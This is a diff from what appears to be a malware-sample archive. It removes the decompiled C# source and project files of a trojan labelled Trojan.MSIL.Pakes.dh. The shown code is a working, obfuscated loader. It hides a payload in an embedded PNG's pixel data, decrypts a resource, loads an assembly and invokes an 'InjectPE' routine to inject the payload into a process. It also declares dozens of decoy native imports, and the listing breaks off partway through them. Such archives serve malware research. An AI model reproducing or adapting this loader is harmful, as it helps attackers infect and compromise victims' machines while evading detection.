<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{B4B9C68B-B869-42C5-A7FA-9B6866683101}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AssemblyName>insom_test</AssemblyName>
<ApplicationVersion>1.0.0.0</ApplicationVersion>
<RootNamespace>ƜƗǣƏƂƣƘơӸƑǢƍռƈƙȞƴƔƍƖֆƙƲփƁƄƳơǍƛƣǤǭƒҿƄǤƣǤǣӂȜƑƒǤƀƕƁƑƓȞƋȜȮƄƅƖƈǎƀ</RootNamespace>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="System.Drawing" />
<Reference Include="System.Windows.Forms" />
</ItemGroup>
<ItemGroup>
<Compile Include="ҿǭֆƜƒփƛǢǤǤƱҧǢƎƈǍƩƳƉȄƣռȣպҧƑƳȮӸǎƙǥƎǭƖƅƣȣƅǢƒƳǭƄƔȮȜӸփƁ.cs" />
<Compile Include="AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="aHefnbF6KHz.resx" />
<EmbeddedResource Include="iagMifz5a6GqCE4rfTire.png" />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
</Project>
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.dh-7688fdf5ca1ea55c4482dedf93d974191c6ab60a28d8173e5c6f16d54641fb5d/Trojan.MSIL.Pakes.dh.sln
-20
View File
@@ -1,20 +0,0 @@
Microsoft Visual Studio Solution File, Format Version 9.00
# Visual Studio 2005
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "insom_test", "Trojan.MSIL.Pakes.dh-7688fdf5ca1ea55c4482dedf93d974191c6ab60a28d8173e5c6f16d54641fb5d.csproj", "{B4B9C68B-B869-42C5-A7FA-9B6866683101}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{B4B9C68B-B869-42C5-A7FA-9B6866683101}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{B4B9C68B-B869-42C5-A7FA-9B6866683101}.Debug|Any CPU.Build.0 = Debug|Any CPU
{B4B9C68B-B869-42C5-A7FA-9B6866683101}.Release|Any CPU.ActiveCfg = Release|Any CPU
{B4B9C68B-B869-42C5-A7FA-9B6866683101}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.dh-7688fdf5ca1ea55c4482dedf93d974191c6ab60a28d8173e5c6f16d54641fb5d/aHefnbF6KHz.resx
-1636
View File
File diff suppressed because it is too large Load Diff
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.dh-7688fdf5ca1ea55c4482dedf93d974191c6ab60a28d8173e5c6f16d54641fb5d/iagMifz5a6GqCE4rfTire.png
BIN
View File
Binary file not shown.
Side by Side

Before

Width:  |  Height:  |  Size: 25 KiB

MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.dh-7688fdf5ca1ea55c4482dedf93d974191c6ab60a28d8173e5c6f16d54641fb5d/ҿǭֆƜƒփƛǢǤǤƱҧǢƎƈǍƩƳƉȄƣռȣպҧƑƳȮӸǎƙǥƎǭƖƅƣȣƅǢƒƳǭƄƔȮȜӸփƁ.cs
-647
View File
@@ -1,647 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: ƜƗǣƏƂƣƘơӸƑǢƍռƈƙȞƴƔƍƖֆƙƲփƁƄƳơǍƛƣǤǭƒҿƄǤƣǤǣӂȜƑƒǤƀƕƁƑƓȞƋȜȮƄƅƖƈǎƀ.ҿǭֆƜƒփƛǢǤǤƱҧǢƎƈǍƩƳƉȄƣռȣպҧƑƳȮӸǎƙǥƎǭƖƅƣȣƅǢƒƳǭƄƔȮȜӸփƁƋǥƥơƜƓҧӸȣպƒƳǭƄƔȮȜӸփƁƋǥƥơƜƓҧӸȣպƣռȣպҧƑƳȮӸǎƙǥƎǭƖƅƣȣƅǢӸƖƉƘƐփǍƴǭȮǍƥǍƑƋփƴƈƈռƛƖփƲǭƒǢƑƛƒǭƖƅǤȄƥƒպƥǭƣռȣպҧƑƳȮӸǎƙǥƎǭƖƅƣȣƅǢƄƙƓӸƣփǥƍƎǥƘƥպƍƘƳǣǥƜƘӸƩҿҿȜƖƱƙǤȞƪƥǥƂƕƴƔƆǭƅӂƉƔƈպƴƳƗȄƄǭơƔƂȜӂƍǤƉƘǍӸƴȣǭӂƈռƘƲǎƈƔƛƩƥƀƣƏƒ
// Assembly: insom_test, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 4A693B17-6D59-427B-AADC-52A0A1241E2F
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Pakes.dh-7688fdf5ca1ea55c4482dedf93d974191c6ab60a28d8173e5c6f16d54641fb5d.exe
using System;
using System.Drawing;
using System.IO;
using System.Reflection;
using System.Resources;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
using System.Threading;
using System.Windows.Forms;
namespace ƜƗǣƏƂƣƘơӸƑǢƍռƈƙȞƴƔƍƖֆƙƲփƁƄƳơǍƛƣǤǭƒҿƄǤƣǤǣӂȜƑƒǤƀƕƁƑƓȞƋȜȮƄƅƖƈǎƀ
{
internal class ҿǭֆƜƒփƛǢǤǤƱҧǢƎƈǍƩƳƉȄƣռȣպҧƑƳȮӸǎƙǥƎǭƖƅƣȣƅǢƒƳǭƄƔȮȜӸփƁƋǥƥơƜƓҧӸȣպƒƳǭƄƔȮȜӸփƁƋǥƥơƜƓҧӸȣպƣռȣպҧƑƳȮӸǎƙǥƎǭƖƅƣȣƅǢӸƖƉƘƐփǍƴǭȮǍƥǍƑƋփƴƈƈռƛƖփƲǭƒǢƑƛƒǭƖƅǤȄƥƒպƥǭƣռȣպҧƑƳȮӸǎƙǥƎǭƖƅƣȣƅǢƄƙƓӸƣփǥƍƎǥƘƥպƍƘƳǣǥƜƘӸƩҿҿȜƖƱƙǤȞƪƥǥƂƕƴƔƆǭƅӂƉƔƈպƴƳƗȄƄǭơƔƂȜӂƍǤƉƘǍӸƴȣǭӂƈռƘƲǎƈƔƛƩƥƀƣƏƒ
{
public static ResourceManager ӂҧƋǭƈӂȣƴֆƥȜǢƱǥƑƀƴҿȮƴ = new ResourceManager("aHefnbF6KHz", Assembly.GetExecutingAssembly());
private static void Main()
{
try
{
ҿǭֆƜƒփƛǢǤǤƱҧǢƎƈǍƩƳƉȄƣռȣպҧƑƳȮӸǎƙǥƎǭƖƅƣȣƅǢƒƳǭƄƔȮȜӸփƁƋǥƥơƜƓҧӸȣպƒƳǭƄƔȮȜӸփƁƋǥƥơƜƓҧӸȣպƣռȣպҧƑƳȮӸǎƙǥƎǭƖƅƣȣƅǢӸƖƉƘƐփǍƴǭȮǍƥǍƑƋփƴƈƈռƛƖփƲǭƒǢƑƛƒǭƖƅǤȄƥƒպƥǭƣռȣպҧƑƳȮӸǎƙǥƎǭƖƅƣȣƅǢƄƙƓӸƣփǥƍƎǥƘƥպƍƘƳǣǥƜƘӸƩҿҿȜƖƱƙǤȞƪƥǥƂƕƴƔƆǭƅӂƉƔƈպƴƳƗȄƄǭơƔƂȜӂƍǤƉƘǍӸƴȣǭӂƈռƘƲǎƈƔƛƩƥƀƣƏƒ.ƣռȣպҧƑƳȮӸǎƙǥƎǭƖƅƣȣƅǢdBBbӸƖƉƘƐփǍƴǭȮǍƥǍƑƋփƴƈƈռ("ƑƜƋƛƪֆպǎƄƅƕƥǣƕƥӂƁȞӸǢƱƖơƜƪƅ");
Bitmap a = new Bitmap(Assembly.GetExecutingAssembly().GetManifestResourceStream("iagMifz5a6GqCE4rfTire.png"));
byte[] numArray = ҿǭֆƜƒփƛǢǤǤƱҧǢƎƈǍƩƳƉȄƣռȣպҧƑƳȮӸǎƙǥƎǭƖƅƣȣƅǢƒƳǭƄƔȮȜӸփƁƋǥƥơƜƓҧӸȣպƒƳǭƄƔȮȜӸփƁƋǥƥơƜƓҧӸȣպƣռȣպҧƑƳȮӸǎƙǥƎǭƖƅƣȣƅǢӸƖƉƘƐփǍƴǭȮǍƥǍƑƋփƴƈƈռƛƖփƲǭƒǢƑƛƒǭƖƅǤȄƥƒպƥǭƣռȣպҧƑƳȮӸǎƙǥƎǭƖƅƣȣƅǢƄƙƓӸƣփǥƍƎǥƘƥպƍƘƳǣǥƜƘӸƩҿҿȜƖƱƙǤȞƪƥǥƂƕƴƔƆǭƅӂƉƔƈպƴƳƗȄƄǭơƔƂȜӂƍǤƉƘǍӸƴȣǭӂƈռƘƲǎƈƔƛƩƥƀƣƏƒ.SymetricDecrypt(ҿǭֆƜƒփƛǢǤǤƱҧǢƎƈǍƩƳƉȄƣռȣպҧƑƳȮӸǎƙǥƎǭƖƅƣȣƅǢƒƳǭƄƔȮȜӸփƁƋǥƥơƜƓҧӸȣպƒƳǭƄƔȮȜӸփƁƋǥƥơƜƓҧӸȣպƣռȣպҧƑƳȮӸǎƙǥƎǭƖƅƣȣƅǢӸƖƉƘƐփǍƴǭȮǍƥǍƑƋփƴƈƈռƛƖփƲǭƒǢƑƛƒǭƖƅǤȄƥƒպƥǭƣռȣպҧƑƳȮӸǎƙǥƎǭƖƅƣȣƅǢƄƙƓӸƣփǥƍƎǥƘƥպƍƘƳǣǥƜƘӸƩҿҿȜƖƱƙǤȞƪƥǥƂƕƴƔƆǭƅӂƉƔƈպƴƳƗȄƄǭơƔƂȜӂƍǤƉƘǍӸƴȣǭӂƈռƘƲǎƈƔƛƩƥƀƣƏƒ.PolySymetricDecrypt((byte[]) ҿǭֆƜƒփƛǢǤǤƱҧǢƎƈǍƩƳƉȄƣռȣպҧƑƳȮӸǎƙǥƎǭƖƅƣȣƅǢƒƳǭƄƔȮȜӸփƁƋǥƥơƜƓҧӸȣպƒƳǭƄƔȮȜӸփƁƋǥƥơƜƓҧӸȣպƣռȣպҧƑƳȮӸǎƙǥƎǭƖƅƣȣƅǢӸƖƉƘƐփǍƴǭȮǍƥǍƑƋփƴƈƈռƛƖփƲǭƒǢƑƛƒǭƖƅǤȄƥƒպƥǭƣռȣպҧƑƳȮӸǎƙǥƎǭƖƅƣȣƅǢƄƙƓӸƣփǥƍƎǥƘƥպƍƘƳǣǥƜƘӸƩҿҿȜƖƱƙǤȞƪƥǥƂƕƴƔƆǭƅӂƉƔƈպƴƳƗȄƄǭơƔƂȜӂƍǤƉƘǍӸƴȣǭӂƈռƘƲǎƈƔƛƩƥƀƣƏƒ.ӂҧƋǭƈӂȣƴֆƥȜǢƱǥƑƀƴҿȮƴ.GetObject("ayCGSR"), "փƲӂƩƏƪƆƗֆƙƗƆƂҿպƅ"), "ƓȮƳƖƘƗƪƏƋƏƒƕƀƎȞǤ");
foreach (MethodInfo method in Assembly.Load(Convert.FromBase64String(ҿǭֆƜƒփƛǢǤǤƱҧǢƎƈǍƩƳƉȄƣռȣպҧƑƳȮӸǎƙǥƎǭƖƅƣȣƅǢƒƳǭƄƔȮȜӸփƁƋǥƥơƜƓҧӸȣպƒƳǭƄƔȮȜӸփƁƋǥƥơƜƓҧӸȣպƣռȣպҧƑƳȮӸǎƙǥƎǭƖƅƣȣƅǢӸƖƉƘƐփǍƴǭȮǍƥǍƑƋփƴƈƈռƛƖփƲǭƒǢƑƛƒǭƖƅǤȄƥƒպƥǭƣռȣպҧƑƳȮӸǎƙǥƎǭƖƅƣȣƅǢƄƙƓӸƣփǥƍƎǥƘƥպƍƘƳǣǥƜƘӸƩҿҿȜƖƱƙǤȞƪƥǥƂƕƴƔƆǭƅӂƉƔƈպƴƳƗȄƄǭơƔƂȜӂƍǤƉƘǍӸƴȣǭӂƈռƘƲǎƈƔƛƩƥƀƣƏƒ.bҿǭֆƜƒփƛǢǤǤƱҧǢƎƈǍƩƳƉȄBƛƖփƲǭƒǢƑƛƒǭƖƅǤȄƥƒպƥǭ((Image) a))).GetType(Encoding.Default.GetString(Convert.FromBase64String("UnVuUEU="))).GetMethods())
{
if (method.Name.ToString() == Encoding.Default.GetString(Convert.FromBase64String("SW5qZWN0UEU=")).ToString())
method.Invoke((object) null, new object[6]
{
(object) numArray,
(object) true,
(object) "[INJECT-INTO]",
(object) ".exe",
(object) true,
(object) false
});
}
}
catch (Exception ex)
{
int num = (int) MessageBox.Show(ex.ToString());
}
}
public static string bҿǭֆƜƒփƛǢǤǤƱҧǢƎƈǍƩƳƉȄBƛƖփƲǭƒǢƑƛƒǭƖƅǤȄƥƒպƥǭ(Image a)
{
string str = "";
int num1 = a.Width - 1;
int num2 = a.Height - 1;
for (int y = 1; y <= num2; ++y)
{
for (int x = 1; x <= num1; ++x)
{
Color color = new Color();
Color pixel = ((Bitmap) a).GetPixel(x, y);
str += (string) (object) Convert.ToChar(pixel.R);
}
}
return Encoding.UTF8.GetString(Convert.FromBase64String(str.Replace("\\", "").Trim(Convert.ToChar(0))));
}
public static byte[] SymetricDecrypt(byte[] bytes, string Key)
{
MemoryStream memoryStream = new MemoryStream();
SymmetricAlgorithm symmetricAlgorithm = SymmetricAlgorithm.Create();
byte[] bytes1 = Encoding.ASCII.GetBytes(Key);
byte[] rgbIV = bytes1;
CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, symmetricAlgorithm.CreateDecryptor(bytes1, rgbIV), CryptoStreamMode.Write);
cryptoStream.Write(bytes, 0, bytes.Length);
cryptoStream.Close();
return memoryStream.ToArray();
}
public static byte[] PolySymetricDecrypt(byte[] bytes, string Key)
{
MemoryStream memoryStream = new MemoryStream();
SymmetricAlgorithm symmetricAlgorithm = SymmetricAlgorithm.Create();
byte[] bytes1 = Encoding.ASCII.GetBytes(Key);
byte[] rgbIV = bytes1;
CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, symmetricAlgorithm.CreateDecryptor(bytes1, rgbIV), CryptoStreamMode.Write);
cryptoStream.Write(bytes, 0, bytes.Length);
cryptoStream.Close();
byte[] array = memoryStream.ToArray();
Array.Resize<byte>(ref array, array.Length - 1);
return array;
}
public static void ƣռȣպҧƑƳȮӸǎƙǥƎǭƖƅƣȣƅǢdBBbӸƖƉƘƐփǍƴǭȮǍƥǍƑƋփƴƈƈռ(string mutexkey)
{
bool createdNew;
Mutex mutex = new Mutex(true, mutexkey, out createdNew);
if (createdNew)
return;
Environment.Exit(Environment.ExitCode);
}
private static void ҿǭֆƜƒփƛǢǤǤƱҧǢƎƈǍƩƳƉȄ()
{
}
[DllImport("aZEIStVCwbx.dll")]
private static extern bool[] aiBwt6tguPx(byte aU0kXIzP5Zr, double aOtqsHGe5D6);
[DllImport("ag4t3S2GOu1.dll")]
private static extern int[] aa87IzxhWRE(Array a69g7rCmStH, bool[] a1kud16W5vF);
[DllImport("adMnirGcxBR.dll")]
private static extern double aRF8uHHN4oU(byte[] aHEuJWuTz0O, long a9Zp1Mqurjk);
[DllImport("adPnHoudkGw.dll")]
private static extern Decimal aimp7wndg_R(Decimal[] aDbHh7N1BBy, IntPtr aYR3Zqzqkev);
[DllImport("aU31zq5BF5M.dll")]
private static extern double[] aNX8w03anW1(IntPtr ao35Krzb3gP, double[] aiyTN674ra3);
[DllImport("ajMLX6KqQ13.dll")]
private static extern Attribute aYjC9mz1Thw(Array a2bD2Id8gYb, bool ab3tf8iDvRn);
[DllImport("aJMDMZ_UFeP.dll")]
private static extern bool a2H7xiraMRF(long[] agM435dvX33, StringComparer adsO0eNbESE);
[DllImport("aMVYfi3_tEO.dll")]
private static extern bool[] aVlAN615zkz(bool awzRCViwvEq, string a6QrnHNxUHW);
[DllImport("acPW48di8Eo.dll")]
private static extern int[] apiXdCvuLru(long a0XbaCIdi0V, Attribute ajKCw2N64m0);
[DllImport("a3LVzzd5WfN.dll")]
private static extern Attribute axhPKUNWSCx(double aOY2rEZYzBp, bool[] auueS2WckKB);
[DllImport("a8w6WsccqTz.dll")]
private static extern Attribute aHXpjEjXd75(string aRFpRH670hT, Attribute avST6Dkbpzl);
[DllImport("a1rWb3xmsSy.dll")]
private static extern byte a27PllZKQrY(int aaqbPBUGRMB, Attribute aZDPLyBSIMG);
[DllImport("an4YG5FxOKX.dll")]
private static extern IntPtr aNB4Q0zO4Io(string[] a8jf7ZSF5_U, bool amVi3533x5i);
[DllImport("arv6_JkyReG.dll")]
private static extern string[] aUi7gQ84Z6B(char[] aXibizinJqd, IntPtr ap44lirxIWB);
[DllImport("a2n4HaGY59D.dll")]
private static extern bool[] acaFNEO89tb(Attribute ayl9eci11mm, int[] au2XTRpT4Cw);
[DllImport("aSgNXkYJYvP.dll")]
private static extern long[] aQglDJilbto(Decimal aAqrVt9yNYs, Attribute aDYrsztFave);
[DllImport("a_9KFW3BwsI.dll")]
private static extern bool a4nGBKYWKQO(int asNFNOYMgX4, byte apCwvoFulBz);
[DllImport("aH6LimnFPdT.dll")]
private static extern bool aYVB40Fxlf7(byte aNig4CxvNSi, byte aCI35KoidJO);
[DllImport("aQ1H9hRp0Vq.dll")]
private static extern StringComparer ab3oS3YFldn(
char[] aMZwjwt7daw,
string[] agbjA6U2fNM);
[DllImport("aufnGXzMFT4.dll")]
private static extern Decimal[] aaIe789WtrA(char aIyGCxlAuQ0, Array arLYFDkVoPK);
[DllImport("aiMt_gG8OWp.dll")]
private static extern byte ahjKzq00Uen(IntPtr[] aTATxWxvaz5, string apmkA5uHDO9);
[DllImport("a1_MEMxDlVF.dll")]
private static extern IntPtr[] alFcTv5dGdj(char a_fukwQt31W, char aYFCH3DqX3I);
[DllImport("alY2V7yPsR9.dll")]
private static extern long[] aZq0ScOldf4(byte ayRoLXLeAGE, double[] azOZhYycULn);
[DllImport("aERBFCtItLO.dll")]
private static extern bool aGIQnGgc1p3(int[] a4xLE3yed2L, Decimal anFqct0FYU6);
[DllImport("a5XJql2110H.dll")]
private static extern StringComparer aUiPR6zsEwY(
bool a8EpBnzavfG,
long[] am0SeWAgsc2);
[DllImport("aeF2UW2pKEr.dll")]
private static extern IntPtr[] aWgVf2YROKF(Decimal[] a5oLA342Sf_, double aM5Mkk8WqJV);
[DllImport("aS39CMMAyCG.dll")]
private static extern bool ahDZXN10j_1(char aGkQ2mSgUuJ, bool[] aHzjXMttkUR);
[DllImport("adYPzyORuEC.dll")]
private static extern char a6CgLc7Q01g(StringComparer a9k7mRtw6sO, int[] abEV1PzeCmG);
[DllImport("a6iXPwwTiHl.dll")]
private static extern bool agHIlvJtnyI(Array azDnB6Ynu7u, byte[] a4raf1ErONU);
[DllImport("ahHoNhPdG9v.dll")]
private static extern int[] aicMishy9XP(long[] aAQCTipMFcI, bool[] arr8h9K7sR8);
[DllImport("aXTVLvyJf8A.dll")]
private static extern int a84tZeVWeMv(string aBnlCa6jnwO, long an160VCtpmn);
[DllImport("a8Hya3U76Yo.dll")]
private static extern Attribute aDZLbmD5X7P(
StringComparer aU2UgNr0K9H,
bool aF_ZfSlQxRU);
[DllImport("amEVigDvppQ.dll")]
private static extern Decimal[] aMQpfGGL37M(double a0Hy3GdqFxF, long awuQXuAWFIM);
[DllImport("ahTNmA07GLW.dll")]
private static extern StringComparer aLhEuec8ppI(
long a1ZmeN5IoWz,
string[] acXskRtfr9D);
[DllImport("asPz28FtgTT.dll")]
private static extern long[] alpGyqOdwuA(bool[] agQ4L6V347y, StringComparer aTHpya_lR48);
[DllImport("aM4rSOdRUww.dll")]
private static extern char[] aesc49hLzvA(StringComparer azXH965nbXG, bool aemU1ibPmb6);
[DllImport("arJETMsdASa.dll")]
private static extern StringComparer ablSz6AkOoG(
string[] agvp7nioxX7,
Decimal aDhtfTuXsBp);
[DllImport("aRoHu5IdBl1.dll")]
private static extern IntPtr akCWyc2BtEj(double[] aSaKchLyaM7, char apCgT_RS7IE);
[DllImport("au9xTFoph7i.dll")]
private static extern int[] a3rOYQAlTLi(string akQDK12exTU, bool[] a9Ysv1DA763);
[DllImport("a_UkLK9Q4lE.dll")]
private static extern char axtK537kldD(Attribute a_ptezrZJ5V, Decimal apE4c9a3FQs);
[DllImport("ar4HQYE9JlG.dll")]
private static extern bool[] ajdJoGGHvsD(StringComparer ati6hqI8uQA, Decimal aEBhmDMSXqD);
[DllImport("aiR3hffcIfj.dll")]
private static extern IntPtr aPU_IYjEWLs(IntPtr aotC44gw1CW, Array a67He0BxFAd);
[DllImport("ax73jm3iPpl.dll")]
private static extern string[] aQ4xNYzxuYb(IntPtr[] aN8A43RjHiy, Array awMo2GYv5lS);
[DllImport("apzUrxhTRqU.dll")]
private static extern int a_Mo6KY0GlY(Decimal afM2UHGJ_CA, int a5HHt1OfVsi);
[DllImport("aPUdq0780vj.dll")]
private static extern bool[] au9yKsMA1Bs(byte aYC4TjDHEQU, int[] arGzJYHKZ_m);
[DllImport("axyNKPnHXG6.dll")]
private static extern double[] a7NqWuUJcx5(char aTB5EnUx5pt, int[] avsJuBLgqLB);
[DllImport("aS5i_lgnpwb.dll")]
private static extern IntPtr[] aYTDqVi0oQX(byte axSE_CqX8ix, Decimal ar43BDuk6Vi);
[DllImport("aK_1KtyqSg2.dll")]
private static extern string[] aeMAUnETnQt(IntPtr aszWLo0Y42Y, bool[] aGGVSpK6Zv4);
[DllImport("aE4qtljfHNO.dll")]
private static extern long[] arWGOjv7wyc(string aNta7CBzBEK, bool[] abXmQG_Zlhr);
[DllImport("a7FAfoe3c9K.dll")]
private static extern string[] aOWu75vUQcw(int aHvr5p_ZizN, long a81EAZDCQET);
[DllImport("aqWMllTZRd2.dll")]
private static extern char[] ae29gpf4eD1(long[] aRRTjYxG4J6, Array aSG5hF1v0Gu);
[DllImport("a7d59RvAm1b.dll")]
private static extern char aFD9vNe0n_l(Decimal a9Rjxz4SeKD, Decimal akIjPkw9tYM);
[DllImport("aOX9e74MMbD.dll")]
private static extern byte[] aMCgELpeJMM(bool afQxEyhC8mV, byte[] abWXlkvqVgx);
[DllImport("aqnRBeiP27n.dll")]
private static extern bool aq1UOLYMArm(Decimal aewbBZQ2KHe, Array avfe2HridyR);
[DllImport("abuvAgCA2ds.dll")]
private static extern double a5McEmhmpqj(bool[] aGQYlY1_CE2, int[] aZJ5wfTHlMR);
[DllImport("a1QWnLmjNZe.dll")]
private static extern long afGR7y6jZwW(bool[] azDuHOnw5YZ, double[] ajBqr5NEA8Z);
[DllImport("aMfYwWtoPmP.dll")]
private static extern byte[] aeiu_le13VM(StringComparer abBnJ6wwEkE, Decimal[] aqTnSGiz4cu);
[DllImport("aaFfJ4fDVSL.dll")]
private static extern Decimal a5k1LGCpuO7(string[] avPiDWKmXP3, Decimal[] aWfaaqwMmKK);
[DllImport("aClufO40vaB.dll")]
private static extern byte[] ap3jGPlV5b1(double azW_FORCilo, IntPtr aSDkqm4Nmnm);
[DllImport("ayJlx4IEXeY.dll")]
private static extern int[] a_D9Hb5vIDe(IntPtr[] aH4lHvO33u8, Decimal[] aZfCOlG7lbj);
[DllImport("aG6C0lvw9E3.dll")]
private static extern byte[] avSqneha51p(double[] avv4V4_DLAz, bool ahw8IHts25H);
[DllImport("ayKvFCajmBn.dll")]
private static extern IntPtr[] auhAmuIEsvX(string[] aRKv9QYAuZ0, IntPtr aXjJIppJvzN);
[DllImport("a6poBnoPIXJ.dll")]
private static extern StringComparer a5BfJjVXCMJ(
bool aI2YxZAnlUq,
double[] aYOIgdebwP9);
[DllImport("azL_RE13n6S.dll")]
private static extern IntPtr[] aijFklrm9oE(double aOTlJoePLbB, long aJfpH1jZU4S);
[DllImport("am6bk57499e.dll")]
private static extern double[] aIpavsBZ_Mf(IntPtr aLqAmiFfohF, StringComparer aPoO6nfyHXm);
[DllImport("aXJpr0zHTqJ.dll")]
private static extern int absgvKY_kC_(byte[] aN9AwNhmYCa, IntPtr[] aM8cWcizOHh);
[DllImport("a8Td8zAKLjn.dll")]
private static extern bool[] aP72aR9UQtY(bool a54vkwjpL8d, Decimal aO1YnrTJLBT);
[DllImport("aVYhqRj3pNo.dll")]
private static extern Array aXwPzSeOWOO(double[] aVnmwJy5wXv, bool[] aWonijPqkPa);
[DllImport("atSMM7yEWik.dll")]
private static extern IntPtr a6vX1DWSBhB(double[] afwSQ6TB0Qk, bool[] ajLNSdXqEAD);
[DllImport("ayTYBGjHiQY.dll")]
private static extern int[] abHbBgUp9Ho(char a86ywewh2BB, Decimal aNoOyGkgi3q);
[DllImport("aVJ3eWN8f1T.dll")]
private static extern bool aTgUAKFfF2P(bool[] aIs2ghp23XI, IntPtr a_sjf9DflG6);
[DllImport("azkx4wU8HwT.dll")]
private static extern string aErpLsdONv8(byte abgmczRGSQA, bool aBg4OcgG5gZ);
[DllImport("argbouYNQHT.dll")]
private static extern string[] a8P5yYKdTqQ(int aWOk6MG2xaE, bool[] awx0wdf81sC);
[DllImport("auFMH0E1OEQ.dll")]
private static extern IntPtr az9N_1sKpPc(int[] a_gOAuRT9Ua, IntPtr axc5EjMdqBZ);
[DllImport("awULvdsvekK.dll")]
private static extern Attribute amBNAimcbrR(
char[] aryGE6m528O,
StringComparer aSMZ_f5ko7h);
[DllImport("aTS6Pi3pQ1F.dll")]
private static extern bool[] ahiEFZXj7im(bool[] ay1s92ldWu6, StringComparer aHATZ4MUVEi);
[DllImport("a5_vLjdYaws.dll")]
private static extern char a1CUtbow2fm(StringComparer aNZE3o0_WWv, bool aDaw_kSyKjy);
[DllImport("aCKMM9HUKY4.dll")]
private static extern IntPtr aLneFhntYxA(byte aR4pceO1QVI, double aEewGtpczC6);
[DllImport("aEL4B0defwd.dll")]
private static extern bool aYqf5JGD9_t(long aLP60DSz5pw, byte[] aMwshOrvMfC);
[DllImport("acd7eNZmUXc.dll")]
private static extern bool a1xqc10SW4i(string a5KsdXQyPDw, char abbv07N35nQ);
[DllImport("aJ49Ks5KrVb.dll")]
private static extern int[] aGllj2D09Qa(bool[] a408F92rBO9, bool[] aDhBdYOYnY_);
[DllImport("aHOZttZys46.dll")]
private static extern bool[] ah6q0XP6_q9(byte[] ac5KeTHuWRw, bool a4hWgO5p8DH);
[DllImport("arCvzVfV0AP.dll")]
private static extern IntPtr[] a2_dNnegQyE(Decimal[] a7AeVOUqwKe, long[] aalaxZLEcE4);
[DllImport("aRaemhQa35O.dll")]
private static extern StringComparer adSMVkqHh0O(
char[] aETJ5GrzI9X,
string aPTmqvzu_pV);
[DllImport("aY18LvOELBy.dll")]
private static extern Decimal[] avAZOXxViPn(Array aBsexbjGvpp, double[] au8FZfkY1Ms);
[DllImport("aGOd4KEF9xZ.dll")]
private static extern Array an6tVJwsstW(bool az8TC6qiTFL, Array abpG_WJMqb_);
[DllImport("aQNLwP7IjzH.dll")]
private static extern byte aCKghQ6IF2_(long a3_P5o_SUbr, int ai4aVXvtAgz);
[DllImport("arMFEmSwXkn.dll")]
private static extern IntPtr[] aqz63RGMLHN(string[] aKKActGdaOk, Array aN_q6RZhAVy);
[DllImport("aJOiAg3kLh3.dll")]
private static extern Array aUCo62tUbOu(char agmUu3IayEy, string adqoRC1V6Rz);
[DllImport("amwkt2qDHXf.dll")]
private static extern Decimal a9_xLroqXIa(double[] aTRPiBnzHSF, Attribute aIMbgeqUPQZ);
[DllImport("a3_faMVKZCs.dll")]
private static extern bool ao9OMYCgfvt(Array aAxzUxMyqf9, byte aLSGc79FD71);
[DllImport("aWZn__QIhlv.dll")]
private static extern int aHkh32lW3FC(bool[] a8mk7apNjSX, long aVoD5JYmOC6);
[DllImport("aFJexmRyJsX.dll")]
private static extern int[] ayTV0P3hnEe(byte axIUuk7F7Ry, bool[] aexZgFVKZAm);
[DllImport("aqMJH_6iDpa.dll")]
private static extern string[] a42vUMldorh(string[] aguEWkxhTKX, Decimal[] avzZ_WWwYcx);
[DllImport("a5KoRvLMRYA.dll")]
private static extern StringComparer apXSAfmHBvJ(
Decimal[] aPWYeN92CiO,
char[] a7zmz85DWqd);
[DllImport("aa6fAijgebL.dll")]
private static extern bool[] aGEoL9x5_DX(Decimal[] a9hBks4WXs5, bool ajmYkRJZFZC);
[DllImport("a_6l2jD0SLD.dll")]
private static extern double[] aEK79B1yxSF(StringComparer ar9sZdK1gi9, string aLozTQ5lEpT);
[DllImport("azkNLPzJ_Gz.dll")]
private static extern long aiz3xJIQlXR(IntPtr[] amW0NHlWaep, IntPtr[] arCKbwGbsmT);
[DllImport("aJ4S_WaXb2p.dll")]
private static extern double[] aqM2bZCHbnR(string[] a8GhoFlUB5P, int aqXIm9goKNa);
[DllImport("aqte6_qz3ZN.dll")]
private static extern string aqm77SzOW2y(IntPtr a17Mo_xVQhL, bool au8PfdNlf4d);
[DllImport("aVr0xSEn6Sh.dll")]
